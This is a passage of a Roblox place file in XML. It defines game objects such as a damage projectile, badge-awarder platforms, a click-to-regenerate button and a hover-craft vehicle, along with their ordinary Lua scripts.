								<Z>-0.000586516166</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">1</float>
							<Vector3 name="Velocity">
								<X>-0.0155879008</X>
								<Y>0.00745565398</Y>
								<Z>0.00319824414</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX3085">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">3</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>0.5</X>
									<Y>0.5</Y>
									<Z>0.5</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3086">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">true</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Damage</string>
								<ProtectedString name="Source">ball = script.Parent
damage = 50


function onTouched(hit)
	local humanoid = hit.Parent:findFirstChild(&quot;Humanoid&quot;)
	if humanoid ~= nil then
		humanoid:TakeDamage(damage)
		ball:Remove()
	end
end
connection = ball.Touched:connect(onTouched)


wait(5)
ball.Parent = nil


</ProtectedString>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX3087">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">Fire</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2697431</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX3088">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">208</int>
							<CoordinateFrame name="CFrame">
								<X>-281.000671</X>
								<Y>7.59793663</Y>
								<Z>211.990906</Z>
								<R00>-0.500110567</R00>
								<R01>-0.000433623791</R01>
								<R02>0.865961552</R02>
								<R10>-0.00459999312</R10>
								<R11>0.999987066</R11>
								<R12>-0.0021558404</R12>
								<R20>-0.865949392</R20>
								<R21>-0.00506167114</R21>
								<R22>-0.500105977</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part1</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.00253061112</X>
								<Y>0.000121983161</Y>
								<Z>0.00395261496</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.00736111123</X>
								<Y>0.0177060999</Y>
								<Z>-0.0023776656</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>4</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX3089">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX3090">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BodyGyro</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>0.642746687</R00>
									<R01>3.65983979e-005</R01>
									<R02>-0.766098619</R02>
									<R10>-4.10464709e-005</R10>
									<R11>1</R11>
									<R12>1.33365174e-005</R12>
									<R20>0.766098619</R20>
									<R21>2.28728441e-005</R21>
									<R22>0.642746687</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>0</X>
									<Y>400000</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX3091">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4278190335</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294967295</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX3092">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX3093">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-1643</X>
						<Y>7.4000001</Y>
						<Z>95</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX3094">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52611821</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX3095">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX3096">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52611883</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX3097">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX3098">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-1758</X>
						<Y>7.4000001</Y>
						<Z>75</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX3099">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52611821</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX3100">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX3101">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52611883</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX3102">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX3103">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1618</X>
						<Y>7</Y>
						<Z>117</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX3104">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX3105">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX3106">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX3107">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX3108">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Hover2</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX3109">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Hover Craft</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Humanoid" referent="RBX3110">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Health">0</float>
							<float name="MaxHealth">0</float>
							<string name="Name">Humanoid</string>
							<float name="WalkSpeed">0</float>
						</Properties>
					</Item>
					<Item class="Model" referent="RBX3111">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Regen</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX3112">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">GunBoat</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX3113">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Bodykit</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
							</Item>
							<Item class="Part" referent="RBX3114">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">21</int>
									<CoordinateFrame name="CFrame">
										<X>-1610.5</X>
										<Y>9.5</Y>
										<Z>124.5</Z>
										<R00>0</R00>
										<R01>-1</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>0</R11>
										<R12>-1</R12>
										<R20>1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Part</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>1</Y>
										<Z>7</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX3115">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX3116">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">true</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="VehicleSeat" referent="RBX3117">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">199</int>
									<CoordinateFrame name="CFrame">
										<X>-1586</X>
										<Y>5.49635887</Y>
										<Z>118</Z>
										<R00>1.34065384e-022</R00>
										<R01>-3.40984851e-020</R01>
										<R02>-1</R02>
										<R10>3.35765475e-021</R10>
										<R11>1</R11>
										<R12>-3.40984851e-020</R12>
										<R20>1</R20>
										<R21>-3.35765475e-021</R21>
										<R22>1.34065384e-022</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<bool name="HeadsUpDisplay">true</bool>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<float name="MaxSpeed">0</float>
									<string name="Name">VehicleSeat</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>1.49274233e-018</X>
										<Y>-5.30081247e-020</Y>
										<Z>-9.65510091e-020</Z>
									</Vector3>
									<int name="Steer">0</int>
									<int name="Throttle">0</int>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">0</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Torque">1</float>
									<float name="Transparency">0</float>
									<float name="TurnSpeed">0</float>
									<Vector3 name="Velocity">
										<X>-2.02750938e-019</X>
										<Y>0.053320989</Y>
										<Z>5.78146102e-019</Z>
									</Vector3>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX3118">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>-0.300000012</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX3119">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ParentScript</string>
									<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="Part" referent="RBX3120">
								<Properties>
									<bool name="Anchored">true</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">26</int>
									<CoordinateFrame name="CFrame">
										<X>-1595</X>
										<Y>3</Y>
										<Z>118</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>-1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>-0</R12>
										<R20>1</R20>
										<R21>0</R21>
										<R22>-0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Base</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
